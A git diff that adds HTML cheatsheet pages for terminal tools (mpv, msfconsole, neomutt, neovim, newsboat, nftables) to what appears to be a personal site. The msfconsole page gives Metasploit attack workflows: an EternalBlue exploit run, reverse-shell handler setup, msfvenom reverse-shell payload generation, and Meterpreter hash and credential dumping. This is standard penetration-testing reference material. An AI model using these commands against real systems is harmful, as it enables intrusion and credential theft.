      • Use mpv --input-conf=<file> to test input configs
      • +
      +
        +
      • Use mpv --profile=<name> for different use cases
      • +
      +
        +
      • Use mpv --ytdl-format=best for YouTube videos
      • +
      +
        +
      • Use mpv --no-video for audio-only playback
      • +
      +
        +
      • Use mpv --loop=inf for continuous playback
      • +
      +
        +
      • Use mpv --shuffle with playlists for random order
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/msfconsole.html b/cheatsheets/msfconsole.html new file mode 100644 index 0000000..1eebefa --- /dev/null +++ b/cheatsheets/msfconsole.html @@ -0,0 +1,379 @@ + + + + + + + + + + + msfconsole Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      msfconsole Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      msfconsole is the primary interface to the Metasploit Framework - the world's most used penetration testing tool. It provides exploit development, payload generation, post-exploitation, and much more.

      +
      +

      Starting Metasploit

      +
        +
      • msfconsole - Start console
      • +
      +
        +
      • msfconsole -q - Quiet mode (no banner)
      • +
      +
        +
      • msfconsole -r script.rc - Run resource script
      • +
      +
        +
      • msfconsole -x "commands" - Execute commands
      • +
      +
      +

      Core Commands

      +
        +
      • help - Show help
      • +
      +
        +
      • search <term> - Search modules
      • +
      +
        +
      • use <module> - Select module
      • +
      +
        +
      • info - Module information
      • +
      +
        +
      • show options - Show required options
      • +
      +
        +
      • show advanced - Show advanced options
      • +
      +
        +
      • set <option> <value> - Set option
      • +
      +
        +
      • setg <option> <value> - Set global option
      • +
      +
        +
      • unset <option> - Clear option
      • +
      +
        +
      • run / exploit - Execute module
      • +
      +
        +
      • back - Exit current module
      • +
      +
        +
      • exit - Quit msfconsole
      • +
      +
      +

      Search Syntax

      +
        +
      • search <term> - Basic search
      • +
      +
        +
      • search type:exploit <term> - By type
      • +
      +
        +
      • search platform:windows - By platform
      • +
      +
        +
      • search name:smb - By name
      • +
      +
        +
      • search cve:2021 - By CVE year
      • +
      +
        +
      • search author:hdm - By author
      • +
      +
        +
      • search rank:excellent - By rank
      • +
      +

      Module Types

      +
        +
      • exploit - Exploitation modules
      • +
      • auxiliary - Scanning, fuzzing, etc.
      • +
      • post - Post-exploitation
      • +
      • payload - Payloads (shellcode)
      • +
      • encoder - Payload encoders
      • +
      • nop - NOP generators
      • +
      • evasion - Evasion modules
      • +
      +
      +

      Module Commands

      +
        +
      • show exploits - List exploits
      • +
      +
        +
      • show auxiliary - List auxiliary
      • +
      +
        +
      • show payloads - List payloads (context-aware)
      • +
      +
        +
      • show encoders - List encoders
      • +
      +
        +
      • show targets - Show exploit targets
      • +
      +
        +
      • show options - Current module options
      • +
      +
        +
      • check - Check if target is vulnerable
      • +
      +
      +

      Payload Options

      +
        +
      • set PAYLOAD <payload> - Set payload
      • +
      +
        +
      • set LHOST <ip> - Local host (listener)
      • +
      +
        +
      • set LPORT <port> - Local port (listener)
      • +
      +
        +
      • set RHOST <ip> - Remote host (target)
      • +
      +
        +
      • set RHOSTS <ip/range> - Remote hosts
      • +
      +
        +
      • set RPORT <port> - Remote port
      • +
      +
      +

      Common Payloads

      +

      Windows

      +
        +
      • windows/meterpreter/reverse_tcp
      • +
      • windows/meterpreter/reverse_https
      • +
      • windows/shell/reverse_tcp
      • +
      • windows/x64/meterpreter/reverse_tcp
      • +
      +

      Linux

      +
        +
      • linux/x86/meterpreter/reverse_tcp
      • +
      • linux/x64/meterpreter/reverse_tcp
      • +
      • linux/x86/shell/reverse_tcp
      • +
      +

      Multi-platform

      +
        +
      • multi/handler - Catch incoming connections
      • +
      • generic/shell_reverse_tcp
      • +
      +
      +

      Session Management

      +
        +
      • sessions - List active sessions
      • +
      +
        +
      • sessions -i <id> - Interact with session
      • +
      +
        +
      • sessions -k <id> - Kill session
      • +
      +
        +
      • sessions -K - Kill all sessions
      • +
      +
        +
      • sessions -u <id> - Upgrade to meterpreter
      • +
      +
        +
      • background / bg - Background session
      • +
      +
      +

      Meterpreter Commands

      +

      Core

      +
        +
      • help - Show commands
      • +
      • background - Background session
      • +
      • exit - Terminate session
      • +
      • sysinfo - System information
      • +
      • getuid - Current user
      • +
      • getpid - Process ID
      • +
      +

      File System

      +
        +
      • pwd - Print working directory
      • +
      • cd - Change directory
      • +
      • ls - List files
      • +
      • cat - Display file
      • +
      • download file - Download file
      • +
      • upload file - Upload file
      • +
      • rm file - Remove file
      • +
      • mkdir dir - Create directory
      • +
      • search -f pattern - Search files
      • +
      +

      Process

      +
        +
      • ps - List processes
      • +
      • migrate <pid> - Migrate to process
      • +
      • kill <pid> - Kill process
      • +
      • execute -f cmd - Execute command
      • +
      +

      Network

      +
        +
      • ipconfig / ifconfig - Network info
      • +
      • netstat - Network connections
      • +
      • portfwd - Port forwarding
      • +
      • route - Routing table
      • +
      +

      Privilege Escalation

      +
        +
      • getsystem - Attempt SYSTEM
      • +
      • hashdump - Dump password hashes
      • +
      • load kiwi - Load Mimikatz
      • +
      • creds_all - All credentials (kiwi)
      • +
      +
      +

      Database Commands

      +
        +
      • db_status - Database status
      • +
      +
        +
      • workspace - Manage workspaces
      • +
      +
        +
      • hosts - List hosts in DB
      • +
      +
        +
      • services - List services
      • +
      +
        +
      • vulns - List vulnerabilities
      • +
      +
        +
      • creds - List credentials
      • +
      +
        +
      • loot - List loot
      • +
      +
        +
      • db_nmap - Run nmap, save to DB
      • +
      +
        +
      • db_import file - Import scan results
      • +
      +
      +

      Common Workflows

      +

      Exploit Workflow

      +
      search eternalblue
      +use exploit/windows/smb/ms17_010_eternalblue
      +show options
      +set RHOSTS 192.168.1.100
      +set PAYLOAD windows/x64/meterpreter/reverse_tcp
      +set LHOST 192.168.1.50
      +exploit
      +

      Handler Setup

      +
      use exploit/multi/handler
      +set PAYLOAD windows/meterpreter/reverse_tcp
      +set LHOST 0.0.0.0
      +set LPORT 4444
      +exploit -j
      +

      Port Scan

      +
      use auxiliary/scanner/portscan/tcp
      +set RHOSTS 192.168.1.0/24
      +set PORTS 22,80,443,445
      +run
      +

      SMB Enumeration

      +
      use auxiliary/scanner/smb/smb_version
      +set RHOSTS 192.168.1.0/24
      +run
      +
      +

      Payload Generation (msfvenom)

      +
      # Windows reverse shell
      +msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
      +
      +# Linux reverse shell
      +msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf
      +
      +# PHP reverse shell
      +msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.php
      +
      +# Python reverse shell
      +msfvenom -p python/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw
      +
      +# List formats
      +msfvenom --list formats
      +
      +

      Resource Scripts

      +

      Create .rc files to automate tasks:

      +
      # handler.rc
      +use exploit/multi/handler
      +set PAYLOAD windows/meterpreter/reverse_tcp
      +set LHOST 0.0.0.0
      +set LPORT 4444
      +set ExitOnSession false
      +exploit -j
      +

      Run with: msfconsole -r handler.rc

      +
      +

      Tips

      +
        +
      • Always run db_status to ensure database is connected
      • +
      +
        +
      • Use workspaces to organize different engagements
      • +
      +
        +
      • Use -j with exploit to run as job (background)
      • +
      +
        +
      • Check if target is vulnerable before exploiting
      • +
      +
        +
      • Use staged payloads for smaller initial size
      • +
      +
        +
      • Use HTTPS payloads to bypass firewalls
      • +
      +
        +
      • Update regularly: msfupdate
      • +
      +
        +
      • Only use with proper authorization
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/neomutt.html b/cheatsheets/neomutt.html new file mode 100644 index 0000000..e023cd7 --- /dev/null +++ b/cheatsheets/neomutt.html @@ -0,0 +1,662 @@ + + + + + + + + + + + Neomutt Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      Neomutt Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Basic Navigation

      +

      Index View (Mailbox List)

      +
        +
      • j or ↓ - Next message
      • +
      +
        +
      • k or ↑ - Previous message
      • +
      +
        +
      • Enter - Open message
      • +
      +
        +
      • q - Quit
      • +
      +
        +
      • Q - Quit and save
      • +
      +
        +
      • ? - Help
      • +
      +
        +
      • : - Command prompt
      • +
      +

      Message View

      +
        +
      • j or ↓ - Next line
      • +
      +
        +
      • k or ↑ - Previous line
      • +
      +
        +
      • Space - Next page
      • +
      +
        +
      • - - Previous page
      • +
      +
        +
      • q - Return to index
      • +
      +
        +
      • Enter - Return to index
      • +
      +
        +
      • i - Return to index
      • +
      +
      +

      Message Operations

      +

      Reading Messages

      +
        +
      • Enter - View message
      • +
      +
        +
      • o - Sort messages
      • +
      +
        +
      • O - Reverse sort
      • +
      +
        +
      • s - Save message to mailbox
      • +
      +
        +
      • S - Save message (with prompt)
      • +
      +
        +
      • c - Copy message to mailbox
      • +
      +
        +
      • C - Copy message (with prompt)
      • +
      +
        +
      • $ - Save message to file
      • +
      +
        +
      • | - Pipe message to command
      • +
      +
        +
      • e - Edit message
      • +
      +
        +
      • v - View attachment
      • +
      +
        +
      • V - View attachment (with prompt)
      • +
      +

      Marking Messages

      +
        +
      • d - Delete message
      • +
      +
        +
      • u - Undelete message
      • +
      +
        +
      • D - Delete tagged messages
      • +
      +
        +
      • U - Undelete all messages
      • +
      +
        +
      • * - Tag message
      • +
      +
        +
      • t - Tag message (alternative)
      • +
      +
        +
      • T - Tag pattern
      • +
      +
        +
      • ~ - Invert tags
      • +
      +
        +
      • ; - Tag prefix
      • +
      +
        +
      • ^T - Tag thread
      • +
      +
        +
      • ^U - Untag thread
      • +
      +
        +
      • ^N - Tag new messages
      • +
      +
        +
      • ^O - Tag old messages
      • +
      +
        +
      • ^A - Tag all messages
      • +
      +
        +
      • ^D - Tag deleted messages
      • +
      +
        +
      • ^F - Tag flagged messages
      • +
      +
        +
      • ^L - Tag messages matching pattern
      • +
      +
        +
      • ^R - Tag read messages
      • +
      +
        +
      • ^S - Tag subscribed messages
      • +
      +
        +
      • ^T - Tag thread
      • +
      +
        +
      • ^U - Tag unread messages
      • +
      +

      Message Flags

      +
        +
      • F - Flag message
      • +
      +
        +
      • W - Toggle word wrap
      • +
      +
        +
      • P - Print message
      • +
      +
        +
      • @ - Toggle subscribed flag
      • +
      +
        +
      • ! - Toggle important flag
      • +
      +
      +

      Composing Messages

      +

      Starting Composition

      +
        +
      • m - Compose new message
      • +
      +
        +
      • r - Reply to sender
      • +
      +
        +
      • R - Reply to all
      • +
      +
        +
      • g - Group reply
      • +
      +
        +
      • G - Group reply to all
      • +
      +
        +
      • f - Forward message
      • +
      +
        +
      • b - Bounce message
      • +
      +
        +
      • Esc e - Edit message
      • +
      +

      Composition Mode

      +
        +
      • y - Send message
      • +
      +
        +
      • a - Attach file
      • +
      +
        +
      • A - Attach file (with prompt)
      • +
      +
        +
      • r - Edit recipients
      • +
      +
        +
      • s - Edit subject
      • +
      +
        +
      • c - Edit CC
      • +
      +
        +
      • b - Edit BCC
      • +
      +
        +
      • Esc k - Edit message
      • +
      +
        +
      • Esc t - Edit To field
      • +
      +
        +
      • Esc s - Edit Subject field
      • +
      +
        +
      • Esc c - Edit CC field
      • +
      +
        +
      • Esc b - Edit BCC field
      • +
      +
        +
      • Esc a - Attach file
      • +
      +
        +
      • Esc d - Detach file
      • +
      +
        +
      • Esc i - Include message
      • +
      +
        +
      • Esc p - PGP menu
      • +
      +
        +
      • Esc e - Edit message
      • +
      +
        +
      • Esc v - View message
      • +
      +
        +
      • Esc h - Edit headers
      • +
      +
        +
      • Esc l - Edit list of headers
      • +
      +
        +
      • Esc q - Abort composition
      • +
      +
        +
      • Esc y - Send message
      • +
      +
      +

      Mailbox Operations

      +

      Opening Mailboxes

      +
        +
      • c - Change mailbox
      • +
      +
        +
      • o - Open mailbox
      • +
      +
        +
      • y - Synchronize mailbox
      • +
      +
        +
      • $ - Save to mailbox
      • +
      +
        +
      • s - Save to mailbox (with prompt)
      • +
      +

      Mailbox List

      +
        +
      • c - Change mailbox
      • +
      +
        +
      • o - Open mailbox
      • +
      +
        +
      • C - Copy mailbox
      • +
      +
        +
      • d - Delete mailbox
      • +
      +
        +
      • r - Rename mailbox
      • +
      +
        +
      • s - Subscribe/Unsubscribe
      • +
      +
        +
      • u - Unsubscribe
      • +
      +
        +
      • ^N - Create mailbox
      • +
      +
        +
      • ^D - Delete mailbox
      • +
      +
        +
      • ^R - Rename mailbox
      • +
      +
      +

      Search and Filter

      +

      Search

      +
        +
      • / - Search forward
      • +
      +
        +
      • ? - Search backward
      • +
      +
        +
      • n - Next match
      • +
      +
        +
      • N - Previous match
      • +
      +
        +
      • \ - Clear search
      • +
      +
        +
      • Esc l - Limit to pattern
      • +
      +
        +
      • Esc L - Show limit
      • +
      +
        +
      • Esc u - Remove limit
      • +
      +
        +
      • Esc t - Toggle limit
      • +
      +
        +
      • ^K - Search for pattern
      • +
      +
        +
      • ^W - Clear pattern
      • +
      +

      Patterns

      +
        +
      • ~A - All messages
      • +
      +
        +
      • ~b - Search in body
      • +
      +
        +
      • ~B - Search in entire message
      • +
      +
        +
      • ~c - Search in CC
      • +
      +
        +
      • ~C - Search in entire message
      • +
      +
        +
      • ~d - Search in date
      • +
      +
        +
      • ~e - Search in sender
      • +
      +
        +
      • ~f - Search in from
      • +
      +
        +
      • ~g - Search in message flags
      • +
      +
        +
      • ~h - Search in header
      • +
      +
        +
      • ~l - Search in label
      • +
      +
        +
      • ~m - Search in message number
      • +
      +
        +
      • ~n - Search in score
      • +
      +
        +
      • ~r - Search in date range
      • +
      +
        +
      • ~s - Search in subject
      • +
      +
        +
      • ~t - Search in To
      • +
      +
        +
      • ~u - Search in user
      • +
      +
        +
      • ~v - Search in variable
      • +
      +
        +
      • ~x - Search in references
      • +
      +
        +
      • ~y - Search in X-Label
      • +
      +
        +
      • ~z - Search in size
      • +
      +
        +
      • ~= - Search in pattern
      • +
      +
        +
      • ~! - Negate pattern
      • +
      +
        +
      • ~| - OR pattern
      • +
      +
        +
      • ~& - AND pattern
      • +
      +
      +

      Threading

      +
        +
      • ^T - Toggle thread display
      • +
      +
        +
      • ^U - Toggle thread display (alternative)
      • +
      +
        +
      • Esc u - Unthread
      • +
      +
        +
      • Esc t - Thread
      • +
      +
        +
      • ^N - Collapse thread
      • +
      +
        +
      • ^E - Expand thread
      • +
      +
        +
      • ^O - Collapse all threads
      • +
      +
        +
      • ^P - Expand all threads
      • +
      +
      +

      PGP Operations

      +
        +
      • Esc p - PGP menu
      • +
      +
        +
      • ^K - Check for PGP keys
      • +
      +
        +
      • ^E - Encrypt message
      • +
      +
        +
      • ^S - Sign message
      • +
      +
        +
      • ^V - Verify signature
      • +
      +
        +
      • ^D - Decrypt message
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • ~/.config/neomutt/neomuttrc - Main config
      • +
      +
        +
      • ~/.config/neomutt/muttrc - Alternative config
      • +
      +
        +
      • ~/.muttrc - Legacy config location
      • +
      +

      Example Key Bindings

      +

      Customize key bindings in your config:

      +
      # Custom navigation bindings
      +bind index <down> next-entry
      +bind index <up> previous-entry
      +bind pager <down> next-line
      +bind pager <up> previous-line
      +bind pager <space> next-page
      +bind pager - previous-page
      +
      +# Custom message operations
      +bind index d delete-message
      +bind index u undelete-message
      +bind index * tag-message
      +bind index t tag-message
      +

      Common Settings

      +
      # Accounts
      +set from = "user@example.com"
      +set realname = "Your Name"
      +set imap_user = "user@example.com"
      +set imap_pass = "password"
      +
      +# IMAP
      +set folder = "imaps://imap.example.com:993"
      +set spoolfile = "+INBOX"
      +set postponed = "+Drafts"
      +set record = "+Sent"
      +
      +# Mailboxes
      +mailboxes = +INBOX
      +set mbox_type = Maildir
      +
      +# Display
      +set sort = date
      +set sort_aux = date
      +set sort_re = date
      +set pager_index_lines = 10
      +set pager_context = 3
      +set pager_stop = yes
      +
      +# Composition
      +set editor = "nvim"
      +set sendmail = "/usr/bin/msmtp"
      +set sendmail_wait = 0
      +set copy = yes
      +set include = yes
      +set forward_format = "Fwd: %s"
      +
      +# Headers
      +ignore *
      +unignore from date subject to cc
      +hdr_order from to cc date subject
      +
      +# Colors
      +color normal white black
      +color hdrdefault brightgreen black
      +color quoted green black
      +color signature brightgreen black
      +color indicator brightyellow red
      +color tree brightmagenta black
      +color status brightyellow black
      +color tilde brightcyan black
      +color attachment brightyellow black
      +color markers brightred black
      +color search brightwhite black
      +color error red black
      +color message brightcyan black
      +color prompt brightyellow black
      +color index brightcyan black ~N
      +color index brightgreen black ~F
      +color index brightred black ~D
      +
      +# Key Bindings
      +bind index <down> next-entry
      +bind index <up> previous-entry
      +bind pager <down> next-line
      +bind pager <up> previous-line
      +bind pager <space> next-page
      +bind pager - previous-page
      +
      +

      Tips

      +
        +
      • Use :set to see all settings
      • +
      +
        +
      • Use :unset to unset a setting
      • +
      +
        +
      • Use :source to reload config
      • +
      +
        +
      • Use :exec to execute command
      • +
      +
        +
      • Use :push to push command
      • +
      +
        +
      • Use :shell to execute shell command
      • +
      +
        +
      • Use :mailbox to change mailbox
      • +
      +
        +
      • Use :quit to quit
      • +
      +
        +
      • Use :save to save message
      • +
      +
        +
      • Use :delete to delete message
      • +
      +
        +
      • Use :undelete to undelete message
      • +
      +
        +
      • Use :tag to tag message
      • +
      +
        +
      • Use :untag to untag message
      • +
      +
        +
      • Use :limit to limit messages
      • +
      +
        +
      • Use :unlimit to remove limit
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/neovim.html b/cheatsheets/neovim.html new file mode 100644 index 0000000..d5a29b1 --- /dev/null +++ b/cheatsheets/neovim.html @@ -0,0 +1,268 @@ + + + + + + + + + + + Neovim Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      Neovim Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Modes

      +
        +
      • i - Insert mode
      • +
      +
        +
      • v - Visual mode (character)
      • +
      +
        +
      • V - Visual mode (line)
      • +
      +
        +
      • Ctrl+v - Visual mode (block)
      • +
      +
        +
      • R - Replace mode
      • +
      +
        +
      • : - Command mode
      • +
      +
        +
      • Esc - Normal mode (from any mode)
      • +
      +
      +

      Basic Movement

      +

      Character Movement

      +
        +
      • h - Left
      • +
      +
        +
      • j - Down
      • +
      +
        +
      • k - Up
      • +
      +
        +
      • l - Right
      • +
      +
        +
      • 0 - Start of line
      • +
      +
        +
      • ^ - First non-blank character of line
      • +
      +
        +
      • $ - End of line
      • +
      +
        +
      • g_ - Last non-blank character of line
      • +
      +

      Word Movement

      +
        +
      • w - Next word start
      • +
      +
        +
      • W - Next WORD start (space-separated)
      • +
      +
        +
      • e - End of word
      • +
      +
        +
      • E - End of WORD
      • +
      +
        +
      • b - Previous word start
      • +
      +
        +
      • B - Previous WORD start
      • +
      +
        +
      • ge - End of previous word
      • +
      +

      Line Movement

      +
        +
      • gg - First line
      • +
      +
        +
      • G - Last line
      • +
      +
        +
      • {number}G - Go to line number
      • +
      +
        +
      • : - Go to line (command mode)
      • +
      +
        +
      • % - Matching bracket/parenthesis
      • +
      +
        +
      • * - Next occurrence of word under cursor
      • +
      +
        +
      • # - Previous occurrence of word under cursor
      • +
      +

      Screen Movement

      +
        +
      • H - Top of screen
      • +
      +
        +
      • M - Middle of screen
      • +
      +
        +
      • L - Bottom of screen
      • +
      +
        +
      • Ctrl+u - Half page up
      • +
      +
        +
      • Ctrl+d - Half page down
      • +
      +
        +
      • Ctrl+b - Full page up
      • +
      +
        +
      • Ctrl+f - Full page down
      • +
      +
        +
      • zz - Center cursor on screen
      • +
      +
        +
      • zt - Top of screen
      • +
      +
        +
      • zb - Bottom of screen
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • ~/.config/nvim/init.lua (Lua config, recommended)
      • +
      +
        +
      • ~/.config/nvim/init.vim (Vimscript config)
      • +
      +
        +
      • ~/.vimrc (legacy location, still works)
      • +
      +

      Example Key Bindings

      +

      Customize key mappings in your config:

      +
      -- Example Lua config
      +vim.keymap.set('n', '<leader>w', ':w<CR>', { desc = 'Save file' })
      +vim.keymap.set('n', '<leader>q', ':q<CR>', { desc = 'Quit' })
      +vim.keymap.set('n', '<C-h>', '<C-w>h', { desc = 'Move to left window' })
      +vim.keymap.set('n', '<C-j>', '<C-w>j', { desc = 'Move to bottom window' })
      +vim.keymap.set('n', '<C-k>', '<C-w>k', { desc = 'Move to top window' })
      +vim.keymap.set('n', '<C-l>', '<C-w>l', { desc = 'Move to right window' })
      +

      Or in Vimscript:

      +
      " Example Vimscript config
      +nnoremap <leader>w :w<CR>
      +nnoremap <leader>q :q<CR>
      +nnoremap <C-h> <C-w>h
      +nnoremap <C-j> <C-w>j
      +nnoremap <C-k> <C-w>k
      +nnoremap <C-l> <C-w>l
      +
      +

      Tips

      +
        +
      • Use :help <topic> for built-in help
      • +
      +
        +
      • Use :checkhealth to diagnose issues
      • +
      +
        +
      • Leader key is space by default (can be changed)
      • +
      +
        +
      • Use motions with operators (d, c, y) for powerful editing
      • +
      +
        +
      • Use . to repeat last change
      • +
      +
        +
      • Use u to undo, Ctrl+r to redo
      • +
      +
        +
      • Use :w to save, :q to quit, :wq to save and quit
      • +
      +
        +
      • Use :split or :vsplit for multiple windows
      • +
      +
        +
      • Use :tabnew for tabs
      • +
      +
        +
      • Use * and # to search for word under cursor
      • +
      +
        +
      • Use /pattern to search forward, ?pattern to search backward
      • +
      +
        +
      • Use n and N to navigate search results
      • +
      +
        +
      • Use % to jump to matching bracket/parenthesis
      • +
      +
        +
      • Use gg to go to top, G to go to bottom
      • +
      +
        +
      • Use :set number to show line numbers
      • +
      +
        +
      • Use :set relativenumber for relative line numbers
      • +
      +
        +
      • Lua config (init.lua) is recommended over Vimscript
      • +
      +
        +
      • Use plugins via plugin managers (lazy.nvim, packer.nvim, etc.)
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/newsboat.html b/cheatsheets/newsboat.html new file mode 100644 index 0000000..e0b85ed --- /dev/null +++ b/cheatsheets/newsboat.html @@ -0,0 +1,237 @@ + + + + + + + + + + + newsboat Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      newsboat Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      newsboat is a text-based RSS/Atom feed reader for the terminal.

      +
      +

      Feed List View

      +
        +
      • j or ↓ - Move down
      • +
      +
        +
      • k or ↑ - Move up
      • +
      +
        +
      • Enter - Open selected feed
      • +
      +
        +
      • r - Reload selected feed
      • +
      +
        +
      • R - Reload all feeds
      • +
      +
        +
      • ^R (Ctrl+R) - Reload all feeds
      • +
      +
        +
      • / - Search feeds
      • +
      +
        +
      • q - Quit or go back
      • +
      +
        +
      • ? - Show help
      • +
      +
      +

      Article List View

      +
        +
      • j or ↓ - Move down
      • +
      +
        +
      • k or ↑ - Move up
      • +
      +
        +
      • Enter - Open selected article
      • +
      +
        +
      • o - Open article in browser
      • +
      +
        +
      • O - Open article in browser and mark as read
      • +
      +
        +
      • u - Show URLs in article
      • +
      +
        +
      • 1-0 - Open URL number 1-10 directly
      • +
      +
        +
      • s - Toggle read/unread status
      • +
      +
        +
      • t - Toggle headline display mode
      • +
      +
        +
      • g - Go to top of list
      • +
      +
        +
      • G - Go to bottom of list
      • +
      +
        +
      • / - Search articles
      • +
      +
        +
      • : - Command prompt
      • +
      +
        +
      • q - Quit or go back
      • +
      +
      +

      Article View

      +
        +
      • j or ↓ - Scroll down
      • +
      +
        +
      • k or ↑ - Scroll up
      • +
      +
        +
      • o - Open article in browser
      • +
      +
        +
      • O - Open article in browser and mark as read
      • +
      +
        +
      • u - Show URLs in article
      • +
      +
        +
      • 1-0 - Open URL number 1-10 directly
      • +
      +
        +
      • s - Toggle read/unread status
      • +
      +
        +
      • n - Next unread article
      • +
      +
        +
      • p - Previous unread article
      • +
      +
        +
      • / - Search in article
      • +
      +
        +
      • q - Quit or go back
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • ~/.config/newsboat/config (user config, XDG)
      • +
      +
        +
      • ~/.newsboat/config (legacy location)
      • +
      +
        +
      • ~/.config/newsboat/urls (feed list)
      • +
      +
        +
      • ~/.newsboat/urls (legacy feed list)
      • +
      +

      Example Key Bindings

      +

      Customize key bindings in config:

      +
      # Reload feeds
      +bind-key R reload-all
      +bind-key ^R reload-all
      +
      +# Navigation
      +bind-key j down
      +bind-key k up
      +bind-key o open
      +
      +# Article operations
      +bind-key O open-in-browser-and-mark-read
      +bind-key s toggle-article-read
      +
      +# Browser command
      +browser "firefox %u"
      +

      Common Settings

      +
      # Display options
      +show-read-feeds no
      +show-read-articles no
      +articlelist-format "%4i %f %D %-20T %>S %u"
      +
      +# Behavior
      +auto-reload yes
      +reload-time 60
      +max-items 100
      +
      +# External commands
      +browser "firefox %u"
      +pager "less"
      +
      +

      Tips

      +
        +
      • Use XDG directories: config and urls in ~/.config/newsboat/
      • +
      +
        +
      • Data files (cache.db, history.search) stored in ~/.local/share/newsboat/
      • +
      +
        +
      • Supports OPML import/export for feed management
      • +
      +
        +
      • Use macros for complex operations
      • +
      +
        +
      • Per-dialog key bindings supported
      • +
      +
        +
      • Comments in config start with #
      • +
      +
        +
      • Use bind or bind-key commands (both work)
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/nftables.html b/cheatsheets/nftables.html new file mode 100644 index 0000000..4ede504 --- /dev/null +++ b/cheatsheets/nftables.html @@ -0,0 +1,406 @@ + + + + + + + + + + + nftables Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      nftables Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      nftables is the modern Linux firewall framework, replacing iptables. It provides a unified interface for IPv4, IPv6, ARP, and bridge filtering with improved performance and syntax.

      +
      +

      Basic Commands

      +
        +
      • nft list ruleset - List all rules
      • +
      +
        +
      • nft list tables - List all tables
      • +
      +
        +
      • nft list table <family> <name> - List specific table
      • +
      +
        +
      • nft list chain <family> <table> <chain> - List specific chain
      • +
      +
        +
      • nft flush ruleset - Clear all rules
      • +
      +
        +
      • nft flush table <family> <name> - Clear specific table
      • +
      +
        +
      • nft -s list ruleset - List with handle numbers
      • +
      +
        +
      • nft monitor - Watch for rule changes in real-time
      • +
      +
      +

      Address Families

      +
        +
      • ip - IPv4 (default)
      • +
      +
        +
      • ip6 - IPv6
      • +
      +
        +
      • inet - IPv4 and IPv6 combined
      • +
      +
        +
      • arp - ARP
      • +
      +
        +
      • bridge - Bridge filtering
      • +
      +
        +
      • netdev - Ingress filtering
      • +
      +
      +

      Tables

      +

      Create Table

      +
      nft add table inet filter
      +nft add table ip nat
      +

      Delete Table

      +
      nft delete table inet filter
      +
      +

      Chains

      +

      Chain Types

      +
        +
      • filter - Packet filtering
      • +
      +
        +
      • route - Rerouting packets
      • +
      +
        +
      • nat - Network address translation
      • +
      +

      Chain Hooks

      +
        +
      • prerouting - Before routing decision
      • +
      +
        +
      • input - Incoming packets to local
      • +
      +
        +
      • forward - Forwarded packets
      • +
      +
        +
      • output - Outgoing packets from local
      • +
      +
        +
      • postrouting - After routing decision
      • +
      +
        +
      • ingress - Earliest hook (netdev only)
      • +
      +

      Create Chain

      +
      nft add chain inet filter input { type filter hook input priority 0 \; policy drop \; }
      +nft add chain inet filter output { type filter hook output priority 0 \; policy accept \; }
